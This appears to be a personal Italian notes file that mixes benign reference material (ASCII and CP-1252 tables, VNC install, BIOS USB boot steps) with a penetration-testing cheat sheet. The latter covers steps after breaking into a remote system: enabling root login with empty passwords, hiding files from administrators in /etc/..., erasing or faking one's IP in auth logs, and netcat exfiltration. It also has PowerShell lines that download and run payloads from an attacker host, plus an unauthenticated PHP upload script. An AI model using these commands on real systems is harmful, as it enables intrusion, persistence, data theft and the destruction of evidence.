113 161 71 01110001 q &#113; Lowercase q

114 162 72 01110010 r &#114; Lowercase r

115 163 73 01110011 s &#115; Lowercase s

116 164 74 01110100 t &#116; Lowercase t

117 165 75 01110101 u &#117; Lowercase u

118 166 76 01110110 v &#118; Lowercase v

119 167 77 01110111 w &#119; Lowercase w

120 170 78 01111000 x &#120; Lowercase x

121 171 79 01111001 y &#121; Lowercase y

122 172 7A 01111010 z &#122; Lowercase z

123 173 7B 01111011 { &#123; Opening brace

124 174 7C 01111100 | &#124; Vertical bar

125 175 7D 01111101 } &#125; Closing brace

126 176 7E 01111110 ~ &#126; Equivalency sign - tilde

127 177 7F 01111111 &#127; Delete

-------------------------------------------------------------------------------------------

The extended ASCII codes (character code 128-255)

There are several different variations of the 8-bit ASCII table. The table below is according to Windows-1252 (CP-1252) which is a superset of ISO 8859-1, also called ISO Latin-1, in terms of printable characters, but differs from the IANA's ISO-8859-1 by using displayable characters rather than control characters in the 128 to 159 range. Characters that differ from ISO-8859-1 is marked by light blue color.

DEC OCT HEX BIN Symbol HTML Number HTML Name Description

128 200 80 10000000 € &#128; &euro; Euro sign

129 201 81 10000001

130 202 82 10000010 ‚ &#130; &sbquo; Single low-9 quotation mark

131 203 83 10000011 ƒ &#131; &fnof; Latin small letter f with hook

132 204 84 10000100 „ &#132; &bdquo; Double low-9 quotation mark

133 205 85 10000101 … &#133; &hellip; Horizontal ellipsis

134 206 86 10000110 † &#134; &dagger; Dagger

135 207 87 10000111 ‡ &#135; &Dagger; Double dagger

136 210 88 10001000 ˆ &#136; &circ; Modifier letter circumflex accent

137 211 89 10001001 ‰ &#137; &permil; Per mille sign

138 212 8A 10001010 Š &#138; &Scaron; Latin capital letter S with caron

139 213 8B 10001011 ‹ &#139; &lsaquo; Single left-pointing angle quotation

140 214 8C 10001100 Π&#140; &OElig; Latin capital ligature OE

141 215 8D 10001101

142 216 8E 10001110 Ž &#142; Latin capital letter Z with caron

143 217 8F 10001111

144 220 90 10010000

145 221 91 10010001 ‘ &#145; &lsquo; Left single quotation mark

146 222 92 10010010 ’ &#146; &rsquo; Right single quotation mark

147 223 93 10010011 " &#147; &ldquo; Left double quotation mark

148 224 94 10010100 " &#148; &rdquo; Right double quotation mark

149 225 95 10010101 • &#149; &bull; Bullet

150 226 96 10010110 – &#150; &ndash; En dash

151 227 97 10010111 — &#151; &mdash; Em dash

152 230 98 10011000 ˜ &#152; &tilde; Small tilde

153 231 99 10011001 ™ &#153; &trade; Trade mark sign

154 232 9A 10011010 š &#154; &scaron; Latin small letter S with caron

155 233 9B 10011011 › &#155; &rsaquo; Single right-pointing angle quotation mark

156 234 9C 10011100 œ &#156; &oelig; Latin small ligature oe

157 235 9D 10011101

158 236 9E 10011110 ž &#158; Latin small letter z with caron

159 237 9F 10011111 Ÿ &#159; &Yuml; Latin capital letter Y with diaeresis

160 240 A0 10100000 &#160; &nbsp; Non-breaking space

161 241 A1 10100001 ¡ &#161; &iexcl; Inverted exclamation mark

162 242 A2 10100010 ¢ &#162; &cent; Cent sign

163 243 A3 10100011 £ &#163; &pound; Pound sign

164 244 A4 10100100 ¤ &#164; &curren; Currency sign

165 245 A5 10100101 ¥ &#165; &yen; Yen sign

166 246 A6 10100110 ¦ &#166; &brvbar; Pipe, Broken vertical bar

167 247 A7 10100111 § &#167; &sect; Section sign

168 250 A8 10101000 ¨ &#168; &uml; Spacing diaeresis - umlaut

169 251 A9 10101001 © &#169; &copy; Copyright sign

170 252 AA 10101010 ª &#170; &ordf; Feminine ordinal indicator

171 253 AB 10101011 « &#171; &laquo; Left double angle quotes

172 254 AC 10101100 ¬ &#172; &not; Not sign

173 255 AD 10101101 ­ &#173; &shy; Soft hyphen

174 256 AE 10101110 ® &#174; &reg; Registered trade mark sign

175 257 AF 10101111 ¯ &#175; &macr; Spacing macron - overline

176 260 B0 10110000 ° &#176; &deg; Degree sign

177 261 B1 10110001 ± &#177; &plusmn; Plus-or-minus sign

178 262 B2 10110010 ² &#178; &sup2; Superscript two - squared

179 263 B3 10110011 ³ &#179; &sup3; Superscript three - cubed

180 264 B4 10110100 ´ &#180; &acute; Acute accent - spacing acute

181 265 B5 10110101 µ &#181; &micro; Micro sign

182 266 B6 10110110 ¶ &#182; &para; Pilcrow sign - paragraph sign

183 267 B7 10110111 · &#183; &middot; Middle dot - Georgian comma

184 270 B8 10111000 ¸ &#184; &cedil; Spacing cedilla

185 271 B9 10111001 ¹ &#185; &sup1; Superscript one

186 272 BA 10111010 º &#186; &ordm; Masculine ordinal indicator

187 273 BB 10111011 » &#187; &raquo; Right double angle quotes

188 274 BC 10111100 ¼ &#188; &frac14; Fraction one quarter

189 275 BD 10111101 ½ &#189; &frac12; Fraction one half

190 276 BE 10111110 ¾ &#190; &frac34; Fraction three quarters

191 277 BF 10111111 ¿ &#191; &iquest; Inverted question mark

192 300 C0 11000000 À &#192; &Agrave; Latin capital letter A with grave

193 301 C1 11000001 Á &#193; &Aacute; Latin capital letter A with acute

194 302 C2 11000010 Â &#194; &Acirc; Latin capital letter A with circumflex

195 303 C3 11000011 Ã &#195; &Atilde; Latin capital letter A with tilde

196 304 C4 11000100 Ä &#196; &Auml; Latin capital letter A with diaeresis

197 305 C5 11000101 Å &#197; &Aring; Latin capital letter A with ring above

198 306 C6 11000110 Æ &#198; &AElig; Latin capital letter AE

199 307 C7 11000111 Ç &#199; &Ccedil; Latin capital letter C with cedilla

200 310 C8 11001000 È &#200; &Egrave; Latin capital letter E with grave

201 311 C9 11001001 É &#201; &Eacute; Latin capital letter E with acute

202 312 CA 11001010 Ê &#202; &Ecirc; Latin capital letter E with circumflex

203 313 CB 11001011 Ë &#203; &Euml; Latin capital letter E with diaeresis

204 314 CC 11001100 Ì &#204; &Igrave; Latin capital letter I with grave

205 315 CD 11001101 Í &#205; &Iacute; Latin capital letter I with acute

206 316 CE 11001110 Î &#206; &Icirc; Latin capital letter I with circumflex

207 317 CF 11001111 Ï &#207; &Iuml; Latin capital letter I with diaeresis

208 320 D0 11010000 Ð &#208; &ETH; Latin capital letter ETH

209 321 D1 11010001 Ñ &#209; &Ntilde; Latin capital letter N with tilde

210 322 D2 11010010 Ò &#210; &Ograve; Latin capital letter O with grave

211 323 D3 11010011 Ó &#211; &Oacute; Latin capital letter O with acute

212 324 D4 11010100 Ô &#212; &Ocirc; Latin capital letter O with circumflex

213 325 D5 11010101 Õ &#213; &Otilde; Latin capital letter O with tilde

214 326 D6 11010110 Ö &#214; &Ouml; Latin capital letter O with diaeresis

215 327 D7 11010111 × &#215; &times; Multiplication sign

216 330 D8 11011000 Ø &#216; &Oslash; Latin capital letter O with slash

217 331 D9 11011001 Ù &#217; &Ugrave; Latin capital letter U with grave

218 332 DA 11011010 Ú &#218; &Uacute; Latin capital letter U with acute

219 333 DB 11011011 Û &#219; &Ucirc; Latin capital letter U with circumflex

220 334 DC 11011100 Ü &#220; &Uuml; Latin capital letter U with diaeresis

221 335 DD 11011101 Ý &#221; &Yacute; Latin capital letter Y with acute

222 336 DE 11011110 Þ &#222; &THORN; Latin capital letter THORN

223 337 DF 11011111 ß &#223; &szlig; Latin small letter sharp s - ess-zed

224 340 E0 11100000 à &#224; &agrave; Latin small letter a with grave

225 341 E1 11100001 á &#225; &aacute; Latin small letter a with acute

226 342 E2 11100010 â &#226; &acirc; Latin small letter a with circumflex

227 343 E3 11100011 ã &#227; &atilde; Latin small letter a with tilde

228 344 E4 11100100 ä &#228; &auml; Latin small letter a with diaeresis

229 345 E5 11100101 å &#229; &aring; Latin small letter a with ring above

230 346 E6 11100110 æ &#230; &aelig; Latin small letter ae

231 347 E7 11100111 ç &#231; &ccedil; Latin small letter c with cedilla

232 350 E8 11101000 è &#232; &egrave; Latin small letter e with grave

233 351 E9 11101001 é &#233; &eacute; Latin small letter e with acute

234 352 EA 11101010 ê &#234; &ecirc; Latin small letter e with circumflex

235 353 EB 11101011 ë &#235; &euml; Latin small letter e with diaeresis

236 354 EC 11101100 ì &#236; &igrave; Latin small letter i with grave

237 355 ED 11101101 í &#237; &iacute; Latin small letter i with acute

238 356 EE 11101110 î &#238; &icirc; Latin small letter i with circumflex

239 357 EF 11101111 ï &#239; &iuml; Latin small letter i with diaeresis

240 360 F0 11110000 ð &#240; &eth; Latin small letter eth

241 361 F1 11110001 ñ &#241; &ntilde; Latin small letter n with tilde

242 362 F2 11110010 ò &#242; &ograve; Latin small letter o with grave

243 363 F3 11110011 ó &#243; &oacute; Latin small letter o with acute

244 364 F4 11110100 ô &#244; &ocirc; Latin small letter o with circumflex

245 365 F5 11110101 õ &#245; &otilde; Latin small letter o with tilde

246 366 F6 11110110 ö &#246; &ouml; Latin small letter o with diaeresis

247 367 F7 11110111 ÷ &#247; &divide; Division sign

248 370 F8 11111000 ø &#248; &oslash; Latin small letter o with slash

249 371 F9 11111001 ù &#249; &ugrave; Latin small letter u with grave

250 372 FA 11111010 ú &#250; &uacute; Latin small letter u with acute

251 373 FB 11111011 û &#251; &ucirc; Latin small letter u with circumflex

252 374 FC 11111100 ü &#252; &uuml; Latin small letter u with diaeresis

253 375 FD 11111101 ý &#253; &yacute; Latin small letter y with acute

254 376 FE 11111110 þ &#254; &thorn; Latin small letter thorn

255 377 FF 11111111 ÿ &#255; &yuml; Latin small letter y with diaeresis

-------------------------------------------------------------------------------------------------

References:

https://en.wikipedia.org/wiki/Extended_ASCII

https://en.wikipedia.org/wiki/Windows-1252

https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT

https://www.iana.org/assignments/character-sets/character-sets.xhtml

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

TIGHT VNC INSTALLAZIONE

*) sudo apt-get install tightvncserver

*) vncserver -geometry 1024x728 -depth 24

*) vncpasswd (eseguibile ovunque senza argomenti, permette di modificare la password di VNC)

*) systemctl status vncserver-x11-core

*) systemctl start vncserver-x11-core

*) systemctl enable vncserver-x11-core

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

PROCEDURE BIOS SETUP E USB BOOT OPTION

Ogni PC ha la possibilità di essere avviato da USB con Sistemi Operativi "Live" o con supporti di installazione Windows e Linux.

Con l'introduzione del UEFI al posto del classici BIOS sono stati implementati meccanismi di sicurezza che possono rendere difficoltoso l'avvio del PC tramite Pendrive USB.

Inoltre, se sul disco è installato Windows, la partizione (o le partizioni) vengono montate in SOLA LETTURA (Read Only File System) se la precedente sessione e' stato chiusa forzando lo spegnimento in maniera non ortodossa.

Per avviare il PC da USB in maniera PULITA si puo' seguire la seguente procedura:

*) Con Windows avviato, tenere premuto il tasto "maiuscolo" [Shift] mentre si fa click sull'icona Windows e su "Riavvia"

*) Dal menu scegliere:

+ Risoluzione dei Problemi

+ Opzioni Avanzate

+ Impostazioni Firmware UEFI

+ Riavvia

*) Al riavvio il PC entrera' automaticamente nel Setup (BIOS-UEFI)

*) Nel Setup disabilitare la voce "Secure Boot" e "Fast Boot"

*) Nel Setup Impostare "Legacy First" o "Legacy Only"

*) Nel Setup Impostare l'unita' USB che vogliamo avviare come la prima della lista

*) Salvare le modifiche ed uscire dal Setup

Alcuni PC come i Lenovo hanno un apposito tastino (NOVO Button) generalmente collocato vicino al tasto di accesnsione.

Per questi sistemi non è necessaria la procedura di cui sopra, basta premere il tastino e scegliere tra l'accesso al Setup e l'avvio da USB.

Con questi sistemi e' possibile avviare qualsiasi OS linux.

Nel caso invece volessimo installare un nuovo Windows e la Pendrive USB non venisse identificata dal sistema, probabilmente sara' necessario ricreare (usando Rufus) la USB in formato GPT UEFI (NTFS).

Di seguito alcune procedure NON ortodosse sperimentate su diversi sistemi:

ASUS SonicMaster

*) All'avvio premere [CTRL]+[ALT]+[CANC] per forzare il riavvio del PC.

*) Appena si riavvia, premere [ESC]

*) Apparirà un menu dal quale scegliere:

Boot Menu (F8)

Enter Setup

*) La prima volta occorre entrare nel Setup e disabilitare il Secure Boot

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

TIME - Misura tempi esecuzione programmi

*) Il comando time è molto utile se vogliamo misurare il tempo di esecuzione di un'applicazione. Il suo uso è semplicissimo:

ESEMPIO:

Misurare il tempo di esecuzione di uno script

-----------

time ./fat-finder.sh

real 3m1.591s

user 1m19.460s

sys 2m22.384s

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

 

 

 

 

 

 

._._._._._._._._._|__________________________________________________________

|_|_|_|_|_|_|_|_|_|_________________________________________________________/

|

 

,' ',

,; '.

;: :;

:: ::

:: ::

': :

:. :

;' :: :: '

.' '; ;' '.

:: :; ;: ::

; :;. ,;: ::

:; :;: ,;" ::

::. ':; ..,.; ;:' ,.;:

"'"... '::,::::: ;: .;.;""'

'"""....;:::::;,;.;"""

.:::.....'"':::::::'",...;::::;.

;:' '""'"";.,;:::::;.'"""""" ':;

::' ;::;:::;::.. :;

:: ,;:::::::::::;:.. ::

;' ,;;:;::::::::::::::;";.. ':.

:: ;:" ::::::"""':::::: ": ::

:. :: ::::::; ::::::: : ;

; :: ::::::: ::::::: : ;

' :: ::::::....:::::' ,: '

' :: :::::::::::::" ::

:: ':::::::::"' ::

': """""""' ::

:: ;:

':; ;:"

';, ,;'

"' '"

._._._._._._._._._|__________________________________________________________

|_|_|_|_|_|_|_|_|_|_________________________________________________________/

|

 

 

PENETRATION TESTING LINUX SHELL USEFULL COMMAND and ONLINE TOOLS

LINK SITI INTERNET UTILI - ONLINE RESOURCES AND TOOLS

MD5 Hash Decript

https://md5hashing.net/hash

https://crackstation.net/

https://www.dcode.fr/hash-function

https://hashkiller.co.uk/

Exploit and Vulnerabilities DatabaseScanner

https://www.exploit-db.com

prompt# searchsploit NomeServizio | grep Versione

prompt# searchsploit samba | grep 3.0.20

https://cve.mitre.org/index.html

http://www.cvedetails.com

https://www.shodan.io/

https://exploits.shodan.io

www.example.com

PenTest Labs (Vulnerable VM for Testing)

https://www.vulnhub.com/ Off-Line (Download .iso .ova)

http://www.dvwa.co.uk/ Off-Line (Download .iso .ova)

https://sourceforge.net/projects/mutillidae/

https://github.com/webpwnized/mutillidae

https://www.hackthebox.eu/ OnLine

On-Line Decode (Base64, Rot, Little Indian (Intel), etc.)

https://www.base64decode.org/

https://codebeautify.org/base64-decode

http://www.utilities-online.info/base64

http://www.decode.org/

https://www.rot13.com/

Varie

http://jsnice.org/ ===> Java & Javascript Inspector

https://hacklog.net

https://hackerjournal.it/

https://github.com/Rev3rseSecurity/

https://www.whois.net/ ===> Mostra i dettagli di registrazione di TUTTI i siti

https://www.nic.it/ ===> (Solo domini .it)

https://www.arin.net/ ===> American Registri Internet Numbers (Database siti USA)

https://checkusernames.com/ ===> Archivio di username per centinaia di siti e social network

https://archive.org/web/ ===> Archivio storico siti WEB. Permette di trovare contenuti anche dopo la rimozione

https://www.mail-archive.com/ ===> Archivio account email

http://onstrat.com/osint/ ===> Risorse per OSINT

https://search.mibbit.com/ ===> Motore ricerca per canali IRC

 

DNS Pubblici

*) OpenDNS - https://www.opendns.com/ (CISCO)

208.67.222.222

208.67.220.220

*) OpenNIC - https://www.opennic.org/

192.71.245.208 (ns2.lom.it)

188.165.200.156 (ns2.hau.fr)

51.255.48.78 (ns2.als.fr)

193.183.98.66 (ns1.lom.it)

PROXY FREE - VPN

https://www.securitykiss.com/ ===> VPN Free (con traffico giornaliero limitato) o Pay

https://www.proxy4free.com/ ===> Lista di tantissimi Free Proxy e VPN

https://www.hidemyass.com

http://www.idcloak.com/proxylist/proxy-list.html

https://www.cool-proxy.net

http://www.gatherproxy.com/

https://www.sslproxies.org/

http://www.proxyssl.org/

samair.ru

PROXY PAY

https://www.proxyswitcher.com/

https://www.proxysolutions.net/

https://www.sharedproxies.com/

https://www.sharedproxy.co/

https://www.cool-proxy.net

PASSWORD CRACKING DICTIONARY

https://github.com/dwyl/english-words/

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

CONTROLLO INTEGRITA' TOOLS DI SISTEMA (SYSTEM TOOLS INTEGRITY CHECK)

*) In casi particolari un Hacker potrebbe modificare opportunamente uno o più tool di sistema per impedire che quegli stessi tool rilevino le tracce delle attivita' svolte durante l'hacking

Di seguito alcuni comandi soggetti a modifiche da parte di Hacker

ps

w

netstat

grep

find

locate

ls

*) Per essere assolutamente certi dell'integrita' dei tools, il modo piu' semplice per un Amministratore di Sistema e' quello di archiviare in un file gli hash MD5 di tutti i tools, per poi confrontarli e rilevare eventuali manomissioni.

Ovviamente la generazione degli hash e la loro archiviazione deve avvenire quando si è sicuri che il Sistema sia "pulito"; possibilmente appena ultimati gli aggiornamenti post installazione.

Altrettanto ovviamente il file contenente gli hash deve essere tenuto al sicuro, preferibilmente offline o su un supporto inalterabile (CD, DVD, etc.)

Per ricavare gli hash dei diversi tools la procedura è semplicissima e praticamente identica per ogni distribuzione.

ESEMPIO:

Ricavare l'hash MD5 del comando ps

---------------------------

sidt@sidt:~$ which ps

/bin/ps

sidt@sidt:~$ md5sum /bin/ps

e06f42ea06c6833409d4b781327deeb4 /bin/ps

---------------------------

L'hash sara' quindi:

e06f42ea06c6833409d4b781327deeb4

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

PARROT-KALI TOP TOOLS and COMMANDS

theharvester

wireshark

netdiscover

tcpdump (sniffer CLI)

nmap

zenmap (nmap GUI)

cms scannin

openvas

ncrack (Network Password Remote Cracker)

OWASP Zip

BurpSuite

Metasploit Framework (msfconsole)

Armitage (msf GUI)

SQLMap

WPScan (WordPress CMS Vulnerability Scanner)

Joomscan (Joomla CMS Vulnerability Scanner)

ProxyChains

radare2 (Disassembler Reverse Engineering tool)

Autopsy

Volatilty

shred (Eliminazione sicura di file con sovrascrittura casuale (shredding))

fping

PARROT-KALI PREINSTALLED DICTIONARY

/usr/share/wordlists/nmap.lst

/usr/share/wordlists/sqlmap.txt

/usr/share/wordlists/rockyou.txt.gz

/usr/share/wordlists/metasploit/.........

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

GOOGLE DORKS (Search Engine Hacking)

*) Le Google dorks sono particolari stringe di ricerca che permettono di effettuare ricerche mirate direttamente da google.com

site:http://nomesito.xyz ===> Cerca esclusivamente nel sito specificato

filetype:pdf ===> Cerca solo file .pdf (oppure xml, doc, xls, etc)

intitle:parola ===> Ricerca la stringa solo nei titoli delle pagine

allintitle:parola da cercare ===> Ricerca le stringhe solo nei titoli delle pagine

inurl:/wp-content/plugins/nomepluginchestocercando/

allinurl:

link:

allintext:

related:

cache:

info:

CARATTERI SPECIALI NELLE RICERCHE GOOGLE

*) Nel motore di ricerca (google.xyz) è possibile utilizzare dei caratteri speciali per affinare i risultati delle ricerche

"stringa da cercare" ===> Doppi Apici. Trova soltanto le stringhe scritte nel modo specificato

-parola da escludere ===> Segno meno (-). Esclude la parola specificata

Es:

Potter -Harry ===> Mostra solo risultati che contengono la parola Potter ma non Harry

termine1 | termine2 | termine3 ===> Pipe (|). OR logico Mostra solo risultati che contengono uno solo dei termini specificati

www.*.sky.it ===> Asterisco (*). Cerca tutte le possibili variazioni della parola rappresentata dall'asterisco. In questo caso stiamo cercando tutti i domini di terzo livello associati al sito sky.it

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

FOOTPRINT - INFORMATION GATHERING

*) Ricerca informazioni pubbliche sui possibili target. Le informazioni ottenuti con questi comandi sono di pubblico dominio e quindi perfettamente legali

---------------------------------------------------

Comando WHOIS

whois nomesito.xyz

---------------------------------------------------

Comando HOST

host nomesito.xyz

Esempio 1:

[synhack@unknown ~]$ host sky.it

sky.it has address 185.26.140.70

sky.it has address 185.26.142.195

sky.it has address 185.26.143.165

sky.it has address 185.26.142.70

sky.it mail is handled by 10 sky-it.mail.protection.outlook.com.

Esempio 2:

[synhack@unknown ~]$ host -a sky.it

Trying "sky.it"

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7248

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 2, ADDITIONAL: 1

;; QUESTION SECTION:

;sky.it. IN ANY

;; ANSWER SECTION:

sky.it. 300 IN SOA ns1.sky.it. hostmaster.sky.it. 2018121004 86400 3600 3600000 3600

sky.it. 3600 IN TXT "MS=ms45245552"

sky.it. 3600 IN TXT "MS=ms97918068"

sky.it. 3600 IN TXT "google-site-verification=SVH-jBHADpKpjh3qInksHPqpSHiK2WaER-2gYELnEWE"

sky.it. 3600 IN TXT "MS=ms90374774"

sky.it. 3600 IN TXT "v=spf1 ip4:185.26.140.52/32 include:spf.protection.outlook.com -all"

sky.it. 300 IN MX 10 sky-it.mail.protection.outlook.com.

sky.it. 79 IN NS ns2.sky.it.

sky.it. 79 IN NS ns1.sky.it.

sky.it. 60 IN A 185.26.140.70

sky.it. 60 IN A 185.26.143.165

sky.it. 60 IN A 185.26.142.195

sky.it. 60 IN A 185.26.142.70

;; AUTHORITY SECTION:

sky.it. 79 IN NS ns2.sky.it.

sky.it. 79 IN NS ns1.sky.it.

;; ADDITIONAL SECTION:

ns2.sky.it. 79 IN A 185.26.142.129

Received 504 bytes from 192.168.30.251#53 in 36 ms

-------------------------------------------------------

COMANDO DIG

dig nomesito.yxz

Esempio:

[synhack@unknown ~]$ dig sky.it

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.62.rc1.el6_9.2 <<>> sky.it

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 267

;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:

;sky.it. IN A

;; ANSWER SECTION:

sky.it. 60 IN A 185.26.142.195

sky.it. 60 IN A 185.26.142.70

sky.it. 60 IN A 185.26.143.165

sky.it. 60 IN A 185.26.140.70

;; AUTHORITY SECTION:

sky.it. 300 IN NS ns1.sky.it.

sky.it. 300 IN NS ns2.sky.it.

;; ADDITIONAL SECTION:

ns2.sky.it. 5226 IN A 185.26.142.129

ns1.sky.it. 5226 IN A 185.26.140.129

;; Query time: 84 msec

;; SERVER: 192.168.30.251#53(192.168.30.251)

;; WHEN: Mon Dec 10 17:54:10 2018

;; MSG SIZE rcvd: 156

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

PRIMI PASSI IN UN SISTEMA REMOTO VIOLATO

*) Acquisire i privilegi di root (Privilege Escalation)

*) Controllare la presenza dell'amministratore nel sistema (comando w)

*) Controllare contenuto dei logger (UTMP e WTMP)

*) Verificare presenza di altri logger (ps -aux)

*) Raccolta info sul sistema (uname -a, df -h, lsb_release -a, ip a, netstat -tulpn)

*) Modificare configurazione di:

/etc/ssh/sshd.config

PermitRootLogin yes

PermitEmptyPasswords yes

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

NASCONDERSI NEI SISTEMI REMOTI

NASCONDERE FILE IN SISTEMI VIOLATI

*) Il modo migliore di nascondere dei file è creare una cartella nascosta in una directory che abbia normalmente gia molti file al suo interno (per esempio la cartella /etc). Come nome per la cartella la scelta migliore è ... (tre punti), in modo che anche listando il contenuto della directory l'amministratore vedrà soltanto 3 puntini.

Esempio pratico:

[root@vm-proxy-it753 synhack]# cd /etc

[root@vm-proxy-it753 etc]# mkdir ...

[root@vm-proxy-it753 etc]# ll -a

total 1820

drwxr-xr-x. 99 root root 12288 Nov 14 10:06 .

dr-xr-xr-x. 25 root root 4096 May 20 2017 ..

drwxr-xr-x 2 root root 4096 Nov 14 10:06 ...

[root@vm-proxy-it753 etc]# cd ...

[root@vm-proxy-it753 ...]# pwd

/etc/...

NOTA

con il semplice comando ll o ls senza l'opzione -a (che visualizza anche i file nascosti) la nostra nuova directory nascosta "..." non comparirà nell'elenco.

Il comando pwd (Print Working Directory) serve a mostrare il percorso della directory in cui si sta lavorando.

-------------------------------------------------------------

ELIMINARE TRACCE NEI LOG

LOG PRINCIPALI

/var/log/secure ===> Accessi SSH (login)

/var/log/auth.log ===> Tutti gli accessi

/var/log/nginx/access.log ===> Accessi al WebServer nginx

ALTRI LOG (non sempre presenti)

/etc/log/

/tmp/log/

/tnp/var/log/

/usr/log/

/usr/var/log/

*) Per eliminare le proprie tracce nei log si puo' operare in due modi:

1) Cancellare qualsiasi riferimento al proprio IP

sed -e s/'proprioIP'//g

2) Sostituire il proprio IP con un'altro fasullo ma plausibile

sed -e s/'proprioIP'/'IPfasullo'/g

Per esempio, se il nostro IP pubblico reale fosse 23.23.23.23:

1) Per cancellarlo:

sed -e s/'23.23.23.23'//g

2) Per sostituirlo:

sed -e s/'23.23.23.23'/'69.69.69.69'/g

Alcuni log hanno contenuto binario e vanno letti utilizzando un LgZapper

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

======================================================================

TRASFERIRE FILE IN SCENARI OSTILI (Elenco Comandi e Tools)

======================================================================

https://www.youtube.com/watch?v=Pphkm09vZuM&index=95&list=PLrUqz6O-UHrb1sx6SS3Vwbj7TijsTVwie&t=180s

--=[ trasferimenti file ]=--

*) netcat

nc -lvvp PORT > file.ext

cat file.ext | nc IP 8888

nc IP-Address PORT < file-remoto-da-scaricare.xyz

*) base64

base64 file

base64 -w0 ===> -w0 (Non effettua i ritorni a capo)

base64 -d file

*) python script

send.py ===> Vedi Source Code Script di seguito

rec.py ===> Vedi Source Code Script di seguito

*) python SimpleHTTPServer

python -m SimpleHTTPServer PORT ===> !!! Testato OK !!!

*) python ftpserver

python -m pyftpdlib -p21 -w

php webserver

php -S 0.0.0.0:80

ruby

ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"

upload file php

upload.php ===> Vedi Source Code Script di seguito

hfs

hfs.exe

powershell

PS C:\> $webclient = New-Object System.Net.WebClient

PS C:\> $payload_url = "https://attacker_host/payload.exe"

PS C:\> $file = "C:\ProgramData\payload.exe"

PS C:\> $webclient.DownloadFile($payload_url,$file)

IEX($browser.DownloadString("http://IP/PowerView.ps1"))

powershell -nop -c "$r=New-Object System.Net.WebClient;$r.DownloadFile('http://IP/knx.exe', 'c:\users\knx.exe)"

powershell IEX (Invoke-WebRequest -Uri "http://IP/knx.exe" -outfile "c:\users\knx.exe")

webserver.ps1: https://gallery.technet.microsoft.com/scriptcenter/Powershell-Webserver-74dcf466

simplehttpserver: https://gist.github.com/zhilich/b8480f1d22f9b15d4fdde07ddc6fa4ed

ESERCIZIO PER CASA:

socat trasfer file

----------------------------------------------------

====================================================

sender.py (source code script)

====================================================

#!/usr/bin/env python

from socket import *

import sys

s = socket(AF_INET,SOCK_DGRAM)

host =sys.argv[1]

port = 9999

buf =1024

addr = (host,port)

file_name=sys.argv[2]

s.sendto(file_name,addr)

f=open(file_name,"rb")

data = f.read(buf)

while (data):

if(s.sendto(data,addr)):

print "sending ..."

data = f.read(buf)

s.close()

f.close()

-------------------------------------------

====================================================

rec.py (source code script)

====================================================

#!/usr/bin/env python

from socket import *

import sys

import select

host="0.0.0.0"

port = 9999

s = socket(AF_INET,SOCK_DGRAM)

s.bind((host,port))

addr = (host,port)

buf=1024

data,addr = s.recvfrom(buf)

print "Received File:",data.strip()

f = open("file_ricevuto",'wb')

data,addr = s.recvfrom(buf)

try:

while(data):

f.write(data)

s.settimeout(2)

data,addr = s.recvfrom(buf)

except timeout:

f.close()

s.close()

print "File Downloaded"

---------------------------------------------------------

====================================================

rec.py (source code script)

====================================================

<?php

if (isset($_POST['submit'])){

if($_FILES["file"]["error"]) {

echo "errore nel caricamento del file!!";

exit();

}

else

{

move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);

echo "hai caricato il tuo file in: " .$_FILES['file']['name'];

}

}

?>

<html><form action="" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" name="submit" value="Upload"></form></html>

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

PING

OPZIONI:

-c ===> count. Imposta il numero di ping da inviare. Esempio

ping -c 4 10.1.1.1

Questo comando inviera' 4 ping come in Windows

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

OPEN VPN

INSTALLAZIONE DI OPENVPN (su Debian, Ubuntu, Kali, Parrot)

apt-get install openvpn

CONNESSIONE OPEN VPN TRAMITE NORD VPN

*) Per prima cosa dobbiamo scaricare i file di configurazione ovpn di Nord VPN

wget https://nordvpn.com/api/files/zip

*) Quindi dobbiamo estrarre i file in una opportuna directory

unzip zip -d /xxx/yyy/nordvpn-ovpn-config/

*) Scegliamo uno dei file .ovpn e stabiliamo la connessione

openvpn nome.file.config.ovpn

Enter Auth Username:**********

Enter Auth Password:**********

